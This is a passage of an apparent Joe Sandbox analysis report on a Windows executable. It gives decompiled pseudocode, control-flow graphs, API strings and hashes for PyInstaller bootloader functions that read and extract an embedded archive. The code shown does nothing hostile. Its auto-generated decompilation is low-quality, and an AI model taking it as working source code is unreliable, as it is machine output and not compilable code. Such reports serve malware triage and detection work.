				goto 0xda8d186e;
				 *((long long*)(_t93 + 0x18)) =  *((intOrPtr*)(_t93 + 0x30)) +  *(_t93 + 0x10);
				if (E00007FF77FF7DA8DF2C0( *((intOrPtr*)(_t93 + 0x30)) +  *(_t93 + 0x10),  *_t93) == 0) goto 0xda8d1950;
				E00007FF77FF7DA8D2770( *((intOrPtr*)(_t93 + 0x30)) +  *(_t93 + 0x10), "Error on file.\n", "Could not read full TOC!\n", _t131,  *_t93);
				goto 0xda8d19b3;
				_t90 =  *(_t93 + 0x10);
				if (_t90 -  *((intOrPtr*)(_t93 + 0x18)) >= 0) goto 0xda8d19a1;
				asm("o16 nop [eax+eax]");
				_t69 =  *_t90;
				asm("bswap ecx");
				asm("bswap ecx");
				asm("bswap ecx");
				asm("bswap edx");
				 *_t90 = _t69;
				_t110 = _t69 + _t90;
				if (_t110 -  *(_t93 + 0x10) < 0) goto 0xda8d1995;
				if (_t110 -  *((intOrPtr*)(_t93 + 0x18)) < 0) goto 0xda8d1960;
				goto 0xda8d19a1;
				E00007FF77FF7DA8D2770(_t110, "Cannot read Table of Contents.\n", "Could not read full TOC!\n", _t131,  *_t93);
				if ( *_t93 == 0) goto 0xda8d19b1; // executed
				E00007FF77FF7DA8DF1FC(_t110, _t93,  *_t93, _t127); // executed
				 *_t93 = _t127;
				return E00007FF77FF7DA8DACF0(0,  *((intOrPtr*)(_t90 + 0xc)), _v16 ^ _t128 - 0x00000030);
			}


























                                                                                                                              0x7ff7da8d17b0
                                                                                                                              0x7ff7da8d17ba
                                                                                                                              0x7ff7da8d17c1
                                                                                                                              0x7ff7da8d17c4
                                                                                                                              0x7ff7da8d17c9
                                                                                                                              0x7ff7da8d17d2
                                                                                                                              0x7ff7da8d17d4
                                                                                                                              0x7ff7da8d17df
                                                                                                                              0x7ff7da8d17e4
                                                                                                                              0x7ff7da8d17ed
                                                                                                                              0x7ff7da8d17ef
                                                                                                                              0x7ff7da8d17fb
                                                                                                                              0x7ff7da8d1800
                                                                                                                              0x7ff7da8d1806
                                                                                                                              0x7ff7da8d180c
                                                                                                                              0x7ff7da8d1810
                                                                                                                              0x7ff7da8d1815
                                                                                                                              0x7ff7da8d181b
                                                                                                                              0x7ff7da8d1820
                                                                                                                              0x7ff7da8d1826
                                                                                                                              0x7ff7da8d182d
                                                                                                                              0x7ff7da8d182f
                                                                                                                              0x7ff7da8d183d
                                                                                                                              0x7ff7da8d1847
                                                                                                                              0x7ff7da8d1858
                                                                                                                              0x7ff7da8d1858
                                                                                                                              0x7ff7da8d185c
                                                                                                                              0x7ff7da8d1865
                                                                                                                              0x7ff7da8d186e
                                                                                                                              0x7ff7da8d1875
                                                                                                                              0x7ff7da8d187f
                                                                                                                              0x7ff7da8d1887
                                                                                                                              0x7ff7da8d188d
                                                                                                                              0x7ff7da8d1895
                                                                                                                              0x7ff7da8d189a
                                                                                                                              0x7ff7da8d189d
                                                                                                                              0x7ff7da8d18a7
                                                                                                                              0x7ff7da8d18a9
                                                                                                                              0x7ff7da8d18ad
                                                                                                                              0x7ff7da8d18b0
                                                                                                                              0x7ff7da8d18b6
                                                                                                                              0x7ff7da8d18bc
                                                                                                                              0x7ff7da8d18cc
                                                                                                                              0x7ff7da8d18d5
                                                                                                                              0x7ff7da8d18da
                                                                                                                              0x7ff7da8d18e1
                                                                                                                              0x7ff7da8d18f1
                                                                                                                              0x7ff7da8d18f9
                                                                                                                              0x7ff7da8d1902
                                                                                                                              0x7ff7da8d190e
                                                                                                                              0x7ff7da8d1917
                                                                                                                              0x7ff7da8d1920
                                                                                                                              0x7ff7da8d1930
                                                                                                                              0x7ff7da8d193b
                                                                                                                              0x7ff7da8d1944
                                                                                                                              0x7ff7da8d194e
                                                                                                                              0x7ff7da8d1950
                                                                                                                              0x7ff7da8d1958
                                                                                                                              0x7ff7da8d195a
                                                                                                                              0x7ff7da8d1963
                                                                                                                              0x7ff7da8d1965
                                                                                                                              0x7ff7da8d196d
                                                                                                                              0x7ff7da8d1975
                                                                                                                              0x7ff7da8d197a
                                                                                                                              0x7ff7da8d197c
                                                                                                                              0x7ff7da8d1981
                                                                                                                              0x7ff7da8d198b
                                                                                                                              0x7ff7da8d1991
                                                                                                                              0x7ff7da8d1993
                                                                                                                              0x7ff7da8d199c
                                                                                                                              0x7ff7da8d19a7
                                                                                                                              0x7ff7da8d19a9
                                                                                                                              0x7ff7da8d19ae
                                                                                                                              0x7ff7da8d19ca

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _fread_nolock$Message_invalid_parameter_noinfo
                                                                                                                              • String ID: Cannot read Table of Contents.$Could not allocate buffer for TOC!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$fread$fseek$malloc
                                                                                                                              • API String ID: 2153230061-4158440160
                                                                                                                              • Opcode ID: 57c1acc45f6d3bf186888dc5166ee64feb4b11790a4847366ef95120017762c8
                                                                                                                              • Instruction ID: 6aac1e66fc88cc3e3ba7810b3fd081368aa974dcec832ee59b3fd5f1791c9f16
                                                                                                                              • Opcode Fuzzy Hash: 57c1acc45f6d3bf186888dc5166ee64feb4b11790a4847366ef95120017762c8
                                                                                                                              • Instruction Fuzzy Hash: 48513D72A096028AFF56EF24D49017CA3A1FF88B58BD98576DD0D83396DF3CE5608750
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D12B0 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 106COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              C-Code - Quality: 27%
                                                                                                                              			E00007FF77FF7DA8D12B0(long long* __rcx, void* __rdx) {
				long long _t8;
				void* _t15;
				void* _t16;
				void* _t17;

				_t8 =  *((intOrPtr*)(__rcx));
				_t15 = __rdx;
				if (_t8 != 0) goto 0xda8d12f8;
				E00007FF77FF7DA8D3C90(_t8, __rcx + 0x78, "rb"); // executed
				 *__rcx = _t8;
				if (_t8 != 0) goto 0xda8d12f8;
				E00007FF77FF7DA8D2770(_t8, "Failed to extract %s: failed to open archive file!\n", _t15 + 0x12, _t16, _t17);
				return 0;
			}







                                                                                                                              0x7ff7da8d12b8
                                                                                                                              0x7ff7da8d12bb
                                                                                                                              0x7ff7da8d12c4
                                                                                                                              0x7ff7da8d12d1
                                                                                                                              0x7ff7da8d12d6
                                                                                                                              0x7ff7da8d12dc
                                                                                                                              0x7ff7da8d12e9
                                                                                                                              0x7ff7da8d12f7

                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Message
                                                                                                                              • String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
                                                                                                                              • API String ID: 2030045667-3659356012
                                                                                                                              • Opcode ID: 3f1c233fcb9d7e5dcfe898dc81ad5ca0fa2052c7f45812f0f4ecfac340e60cae
                                                                                                                              • Instruction ID: 8a11dc1239a9cf9794e03606c88363f32ab4b053f65afcb60a148990fb80bc73
                                                                                                                              • Opcode Fuzzy Hash: 3f1c233fcb9d7e5dcfe898dc81ad5ca0fa2052c7f45812f0f4ecfac340e60cae
                                                                                                                              • Instruction Fuzzy Hash: 41417C21A0864385FE16FB11E4006AEE3A1FF54B94FC84473DE4D07A96EE7DE5628320
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D1000 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 273COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 1117 7ff7da8d1000-7ff7da8d3666 call 7ff7da8defd0 call 7ff7da8defc8 call 7ff7da8d7570 call 7ff7da8defc8 call 7ff7da8dad20 call 7ff7da8e41c0 call 7ff7da8e4e64 call 7ff7da8d1af0 1135 7ff7da8d366c-7ff7da8d367b call 7ff7da8d3b80 1117->1135 1136 7ff7da8d377a 1117->1136 1135->1136 1141 7ff7da8d3681-7ff7da8d3694 call 7ff7da8d3a50 1135->1141 1138 7ff7da8d377f-7ff7da8d379f call 7ff7da8dacf0 1136->1138 1141->1136 1145 7ff7da8d369a-7ff7da8d36ad call 7ff7da8d3b00 1141->1145 1145->1136 1148 7ff7da8d36b3-7ff7da8d36da call 7ff7da8d6970 1145->1148 1151 7ff7da8d371c-7ff7da8d3744 call 7ff7da8d6f10 call 7ff7da8d19d0 1148->1151 1152 7ff7da8d36dc-7ff7da8d36eb call 7ff7da8d6970 1148->1152 1162 7ff7da8d382d-7ff7da8d383e 1151->1162 1163 7ff7da8d374a-7ff7da8d3760 call 7ff7da8d19d0 1151->1163 1152->1151 1158 7ff7da8d36ed-7ff7da8d36f3 1152->1158 1160 7ff7da8d36f5-7ff7da8d36fd 1158->1160 1161 7ff7da8d36ff-7ff7da8d3719 call 7ff7da8e3fec call 7ff7da8d6f10 1158->1161 1160->1161 1161->1151 1167 7ff7da8d3853-7ff7da8d386b call 7ff7da8d79a0 1162->1167 1168 7ff7da8d3840-7ff7da8d384a call 7ff7da8d3260 1162->1168 1174 7ff7da8d37a0-7ff7da8d37a3 1163->1174 1175 7ff7da8d3762-7ff7da8d3775 call 7ff7da8d2770 1163->1175 1178 7ff7da8d386d-7ff7da8d3879 call 7ff7da8d2770 1167->1178 1179 7ff7da8d387e-7ff7da8d3885 SetDllDirectoryW 1167->1179 1182 7ff7da8d388b-7ff7da8d3898 call 7ff7da8d5e20 1168->1182 1183 7ff7da8d384c 1168->1183 1174->1162 1181 7ff7da8d37a9-7ff7da8d37c0 call 7ff7da8d3c90 1174->1181 1175->1136 1178->1136 1179->1182 1190 7ff7da8d37c2-7ff7da8d37c5 1181->1190 1191 7ff7da8d37c7-7ff7da8d37f3 call 7ff7da8d7170 1181->1191 1192 7ff7da8d38e6-7ff7da8d38eb call 7ff7da8d5da0 1182->1192 1193 7ff7da8d389a-7ff7da8d38aa call 7ff7da8d5ac0 1182->1193 1183->1167 1194 7ff7da8d3802-7ff7da8d3818 call 7ff7da8d2770 1190->1194 1202 7ff7da8d37f5-7ff7da8d37fd call 7ff7da8df1fc 1191->1202 1203 7ff7da8d381d-7ff7da8d382b 1191->1203 1200 7ff7da8d38f0-7ff7da8d38f3 1192->1200 1193->1192 1207 7ff7da8d38ac-7ff7da8d38bb call 7ff7da8d5620 1193->1207 1194->1136 1205 7ff7da8d39a6-7ff7da8d39ae call 7ff7da8d30f0 1200->1205 1206 7ff7da8d38f9-7ff7da8d3906 1200->1206 1202->1194 1203->1168 1212 7ff7da8d39b3-7ff7da8d39b5 1205->1212 1210 7ff7da8d3910-7ff7da8d391a 1206->1210 1217 7ff7da8d38dc-7ff7da8d38e1 call 7ff7da8d5870 1207->1217 1218 7ff7da8d38bd-7ff7da8d38c9 call 7ff7da8d55b0 1207->1218 1214 7ff7da8d3923-7ff7da8d3925 1210->1214 1215 7ff7da8d391c-7ff7da8d3921 1210->1215 1212->1136 1219 7ff7da8d39bb-7ff7da8d39f2 call 7ff7da8d6ea0 call 7ff7da8d6970 call 7ff7da8d53c0 1212->1219 1220 7ff7da8d3971-7ff7da8d3986 call 7ff7da8d3250 call 7ff7da8d3090 call 7ff7da8d3240 1214->1220 1221 7ff7da8d3927-7ff7da8d394a call 7ff7da8d1b30 1214->1221 1215->1210 1215->1214 1217->1192 1218->1217 1232 7ff7da8d38cb-7ff7da8d38da call 7ff7da8d5c70 1218->1232 1219->1136 1244 7ff7da8d39f8-7ff7da8d3a2d call 7ff7da8d3250 call 7ff7da8d6f50 call 7ff7da8d5870 call 7ff7da8d5da0 1219->1244 1243 7ff7da8d398b-7ff7da8d39a1 call 7ff7da8d5870 call 7ff7da8d5da0 1220->1243 1221->1136 1231 7ff7da8d3950-7ff7da8d395b 1221->1231 1235 7ff7da8d3960-7ff7da8d396f 1231->1235 1232->1200 1235->1220 1235->1235 1243->1138 1257 7ff7da8d3a2f-7ff7da8d3a32 call 7ff7da8d6c10 1244->1257 1258 7ff7da8d3a37-7ff7da8d3a41 call 7ff7da8d1ab0 1244->1258 1257->1258 1258->1138
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00007FF7DA8D3B80: GetModuleFileNameW.KERNEL32(?,00007FF7DA8D3679), ref: 00007FF7DA8D3BB1
                                                                                                                              • SetDllDirectoryW.KERNEL32 ref: 00007FF7DA8D3885
                                                                                                                                • Part of subcall function 00007FF7DA8D6970: GetEnvironmentVariableW.KERNEL32(00007FF7DA8D36C7), ref: 00007FF7DA8D69AA
                                                                                                                                • Part of subcall function 00007FF7DA8D6970: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7DA8D69C7
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Environment$DirectoryExpandFileModuleNameStringsVariable
                                                                                                                              • String ID: Cannot open PyInstaller archive from executable (%s) or external archive (%s)$Cannot side-load external archive %s (code %d)!$Failed to convert DLL search path!$MEI$_MEIPASS2$_PYI_ONEDIR_MODE
                                                                                                                              • API String ID: 2344891160-3602715111
                                                                                                                              • Opcode ID: 6a02d8f440778dc44e3c7cf94fc8730b4e73b31e16a745f39ed32a7300d9e240
                                                                                                                              • Instruction ID: baf991c8d9645cd1c75a6ac5a2bbcf806b88885f77043d97bb43af0c08f1b38c
                                                                                                                              • Opcode Fuzzy Hash: 6a02d8f440778dc44e3c7cf94fc8730b4e73b31e16a745f39ed32a7300d9e240
                                                                                                                              • Instruction Fuzzy Hash: CFB1A061A1DA8359FE66BB2198502FDD250FF80784FC840B3EE4D47697EF2CE5258720
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D1050 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 156COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 1262 7ff7da8d1050-7ff7da8d10ab call 7ff7da8d98d0 1265 7ff7da8d10d3-7ff7da8d10eb call 7ff7da8e4000 1262->1265 1266 7ff7da8d10ad-7ff7da8d10d2 call 7ff7da8d2770 1262->1266 1271 7ff7da8d10ed-7ff7da8d1104 call 7ff7da8d24d0 1265->1271 1272 7ff7da8d1109-7ff7da8d1119 call 7ff7da8e4000 1265->1272 1277 7ff7da8d126c-7ff7da8d12a0 call 7ff7da8d95b0 call 7ff7da8e3fec * 2 1271->1277 1278 7ff7da8d111b-7ff7da8d1132 call 7ff7da8d24d0 1272->1278 1279 7ff7da8d1137-7ff7da8d1147 1272->1279 1278->1277 1281 7ff7da8d1150-7ff7da8d1175 call 7ff7da8df54c 1279->1281 1288 7ff7da8d117b-7ff7da8d1185 call 7ff7da8df2c0 1281->1288 1289 7ff7da8d125e 1281->1289 1288->1289 1296 7ff7da8d118b-7ff7da8d1197 1288->1296 1291 7ff7da8d1264 1289->1291 1291->1277 1297 7ff7da8d11a0-7ff7da8d11c8 call 7ff7da8d7d20 1296->1297 1300 7ff7da8d1241-7ff7da8d125c call 7ff7da8d2770 1297->1300 1301 7ff7da8d11ca-7ff7da8d11cd 1297->1301 1300->1291 1303 7ff7da8d11cf-7ff7da8d11d9 1301->1303 1304 7ff7da8d123c 1301->1304 1306 7ff7da8d1203-7ff7da8d1206 1303->1306 1307 7ff7da8d11db-7ff7da8d11e8 call 7ff7da8dfc8c 1303->1307 1304->1300 1309 7ff7da8d1208-7ff7da8d1216 call 7ff7da8dbac0 1306->1309 1310 7ff7da8d1219-7ff7da8d121e 1306->1310 1311 7ff7da8d11ed-7ff7da8d11f0 1307->1311 1309->1310 1310->1297 1313 7ff7da8d1220-7ff7da8d1223 1310->1313 1314 7ff7da8d11f2-7ff7da8d11fc call 7ff7da8df2c0 1311->1314 1315 7ff7da8d11fe-7ff7da8d1201 1311->1315 1317 7ff7da8d1225-7ff7da8d1228 1313->1317 1318 7ff7da8d1237-7ff7da8d123a 1313->1318 1314->1310 1314->1315 1315->1300 1317->1300 1320 7ff7da8d122a-7ff7da8d1232 1317->1320 1318->1291 1320->1281
                                                                                                                              C-Code - Quality: 57%
                                                                                                                              			E00007FF77FF7DA8D1050(long long __rax, long long __rcx, long long __rdx, void* __r8, void* __r9) {
				void* __rbx;
				void* _t13;
				void* _t28;
				void* _t31;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t41;
				void* _t44;

				_t40 = __r9;
				_t39 = __r8;
				_t18 = __rax;
				 *((long long*)(_t36 + 0x10)) = __rdx;
				 *((long long*)(_t36 + 8)) = __rcx;
				_push(_t34);
				_t37 = _t36 - 0x88;
				 *((long long*)(_t37 + 0x50)) = __rax;
				 *((long long*)(_t37 + 0x58)) = __rax;
				 *((long long*)(_t37 + 0x60)) = __rax;
				_t6 = _t18 + 0x58; // 0x58
				r8d = _t6;
				 *((intOrPtr*)(_t37 + 0x28)) = 0;
				 *((long long*)(_t37 + 0x20)) = __rax;
				_t13 = E00007FF77FF7DA8D98D0(__rdx, _t37 + 0x20, "1.2.13");
				r15d = _t13;
				if (_t13 == 0) goto 0xda8d10d3;
				r8d = _t13;
				E00007FF77FF7DA8D2770(_t18, "Failed to extract %s: inflateInit() failed with return code %d!\n", __rdx + 0x12, _t39, _t40, _t44, _t41, _t28, _t31);
				_t11 = _t34 - 1; // -1
				return _t11;
			}












                                                                                                                              0x7ff7da8d1050
                                                                                                                              0x7ff7da8d1050
                                                                                                                              0x7ff7da8d1050
                                                                                                                              0x7ff7da8d1050
                                                                                                                              0x7ff7da8d1055
                                                                                                                              0x7ff7da8d105b
                                                                                                                              0x7ff7da8d1062
                                                                                                                              0x7ff7da8d1071
                                                                                                                              0x7ff7da8d1079
                                                                                                                              0x7ff7da8d1085
                                                                                                                              0x7ff7da8d108a
                                                                                                                              0x7ff7da8d108a
                                                                                                                              0x7ff7da8d108e
                                                                                                                              0x7ff7da8d1097
                                                                                                                              0x7ff7da8d10a1
                                                                                                                              0x7ff7da8d10a6
                                                                                                                              0x7ff7da8d10ab
                                                                                                                              0x7ff7da8d10b1
                                                                                                                              0x7ff7da8d10bb
                                                                                                                              0x7ff7da8d10c0
                                                                                                                              0x7ff7da8d10d2

                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Message
                                                                                                                              • String ID: 1.2.13$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
                                                                                                                              • API String ID: 2030045667-1655038675
                                                                                                                              • Opcode ID: ba29b0f56e8a5e3802d5d51107e080ed818d2ec468f31acb82f6facf743bb4d5
                                                                                                                              • Instruction ID: b3684fd851c4ea9f5415e35edc2e6a9974a411be8bf9f4533696a5fb81c7b5ed
                                                                                                                              • Opcode Fuzzy Hash: ba29b0f56e8a5e3802d5d51107e080ed818d2ec468f31acb82f6facf743bb4d5
                                                                                                                              • Instruction Fuzzy Hash: B451AC22A0968289FE22FB51A4403BEE290BF84794FC84176DE4D876C6EF3CE5658310
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EAE7C Relevance: 10.8, APIs: 7, Instructions: 290COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 1322 7ff7da8eae7c-7ff7da8eaea2 1323 7ff7da8eaea4-7ff7da8eaeb8 call 7ff7da8e4374 call 7ff7da8e4394 1322->1323 1324 7ff7da8eaebd-7ff7da8eaec1 1322->1324 1338 7ff7da8eb2ae 1323->1338 1325 7ff7da8eb297-7ff7da8eb2a3 call 7ff7da8e4374 call 7ff7da8e4394 1324->1325 1326 7ff7da8eaec7-7ff7da8eaece 1324->1326 1345 7ff7da8eb2a9 call 7ff7da8e9d00 1325->1345 1326->1325 1329 7ff7da8eaed4-7ff7da8eaf02 1326->1329 1329->1325 1332 7ff7da8eaf08-7ff7da8eaf0f 1329->1332 1335 7ff7da8eaf11-7ff7da8eaf23 call 7ff7da8e4374 call 7ff7da8e4394 1332->1335 1336 7ff7da8eaf28-7ff7da8eaf2b 1332->1336 1335->1345 1341 7ff7da8eb293-7ff7da8eb295 1336->1341 1342 7ff7da8eaf31-7ff7da8eaf37 1336->1342 1343 7ff7da8eb2b1-7ff7da8eb2c8 1338->1343 1341->1343 1342->1341 1346 7ff7da8eaf3d-7ff7da8eaf40 1342->1346 1345->1338 1346->1335 1349 7ff7da8eaf42-7ff7da8eaf67 1346->1349 1350 7ff7da8eaf69-7ff7da8eaf6b 1349->1350 1351 7ff7da8eaf9a-7ff7da8eafa1 1349->1351 1353 7ff7da8eaf92-7ff7da8eaf98 1350->1353 1354 7ff7da8eaf6d-7ff7da8eaf74 1350->1354 1355 7ff7da8eaf76-7ff7da8eaf8d call 7ff7da8e4374 call 7ff7da8e4394 call 7ff7da8e9d00 1351->1355 1356 7ff7da8eafa3-7ff7da8eafcb call 7ff7da8eca1c call 7ff7da8e9d68 * 2 1351->1356 1358 7ff7da8eb018-7ff7da8eb02f 1353->1358 1354->1353 1354->1355 1387 7ff7da8eb120 1355->1387 1383 7ff7da8eafcd-7ff7da8eafe3 call 7ff7da8e4394 call 7ff7da8e4374 1356->1383 1384 7ff7da8eafe8-7ff7da8eb013 call 7ff7da8eb6a4 1356->1384 1361 7ff7da8eb031-7ff7da8eb039 1358->1361 1362 7ff7da8eb0aa-7ff7da8eb0b4 call 7ff7da8f298c 1358->1362 1361->1362 1366 7ff7da8eb03b-7ff7da8eb03d 1361->1366 1374 7ff7da8eb13e 1362->1374 1375 7ff7da8eb0ba-7ff7da8eb0cf 1362->1375 1366->1362 1370 7ff7da8eb03f-7ff7da8eb055 1366->1370 1370->1362 1376 7ff7da8eb057-7ff7da8eb063 1370->1376 1378 7ff7da8eb143-7ff7da8eb163 ReadFile 1374->1378 1375->1374 1380 7ff7da8eb0d1-7ff7da8eb0e3 GetConsoleMode 1375->1380 1376->1362 1381 7ff7da8eb065-7ff7da8eb067 1376->1381 1385 7ff7da8eb25d-7ff7da8eb266 GetLastError 1378->1385 1386 7ff7da8eb169-7ff7da8eb171 1378->1386 1380->1374 1388 7ff7da8eb0e5-7ff7da8eb0ed 1380->1388 1381->1362 1382 7ff7da8eb069-7ff7da8eb081 1381->1382 1382->1362 1389 7ff7da8eb083-7ff7da8eb08f 1382->1389 1383->1387 1384->1358 1394 7ff7da8eb283-7ff7da8eb286 1385->1394 1395 7ff7da8eb268-7ff7da8eb27e call 7ff7da8e4394 call 7ff7da8e4374 1385->1395 1386->1385 1391 7ff7da8eb177 1386->1391 1396 7ff7da8eb123-7ff7da8eb12d call 7ff7da8e9d68 1387->1396 1388->1378 1393 7ff7da8eb0ef-7ff7da8eb111 ReadConsoleW 1388->1393 1389->1362 1398 7ff7da8eb091-7ff7da8eb093 1389->1398 1402 7ff7da8eb17e-7ff7da8eb193 1391->1402 1404 7ff7da8eb113 GetLastError 1393->1404 1405 7ff7da8eb132-7ff7da8eb13c 1393->1405 1399 7ff7da8eb28c-7ff7da8eb28e 1394->1399 1400 7ff7da8eb119-7ff7da8eb11b call 7ff7da8e4308 1394->1400 1395->1387 1396->1343 1398->1362 1408 7ff7da8eb095-7ff7da8eb0a5 1398->1408 1399->1396 1400->1387 1402->1396 1410 7ff7da8eb195-7ff7da8eb1a0 1402->1410 1404->1400 1405->1402 1408->1362 1415 7ff7da8eb1a2-7ff7da8eb1bb call 7ff7da8eaa94 1410->1415 1416 7ff7da8eb1c7-7ff7da8eb1cf 1410->1416 1422 7ff7da8eb1c0-7ff7da8eb1c2 1415->1422 1419 7ff7da8eb1d1-7ff7da8eb1e3 1416->1419 1420 7ff7da8eb24b-7ff7da8eb258 call 7ff7da8ea8d4 1416->1420 1423 7ff7da8eb1e5 1419->1423 1424 7ff7da8eb23e-7ff7da8eb246 1419->1424 1420->1422 1422->1396 1426 7ff7da8eb1ea-7ff7da8eb1f1 1423->1426 1424->1396 1427 7ff7da8eb1f3-7ff7da8eb1f7 1426->1427 1428 7ff7da8eb22d-7ff7da8eb238 1426->1428 1429 7ff7da8eb213 1427->1429 1430 7ff7da8eb1f9-7ff7da8eb200 1427->1430 1428->1424 1432 7ff7da8eb219-7ff7da8eb229 1429->1432 1430->1429 1431 7ff7da8eb202-7ff7da8eb206 1430->1431 1431->1429 1433 7ff7da8eb208-7ff7da8eb211 1431->1433 1432->1426 1434 7ff7da8eb22b 1432->1434 1433->1432 1434->1424
                                                                                                                              C-Code - Quality: 57%
                                                                                                                              			E00007FF77FF7DA8EAE7C(void* __ebx, signed int __ecx, intOrPtr* __rax, long long __rbx, long long __rdx, char _a8, long long _a16, long long _a24, intOrPtr _a32) {
				void* _v72;
				long long _v80;
				signed int _v88;
				long long _v96;
				void* _v104;
				unsigned long long _v120;
				void* __rdi;
				void* __rbp;
				char _t142;
				int _t151;
				void* _t152;
				void* _t156;
				void* _t162;
				char _t170;
				char _t171;
				signed int _t175;
				signed char _t178;
				void* _t198;
				void* _t199;
				void* _t200;
				unsigned int _t202;
				void* _t205;
				long long _t210;
				long long _t246;
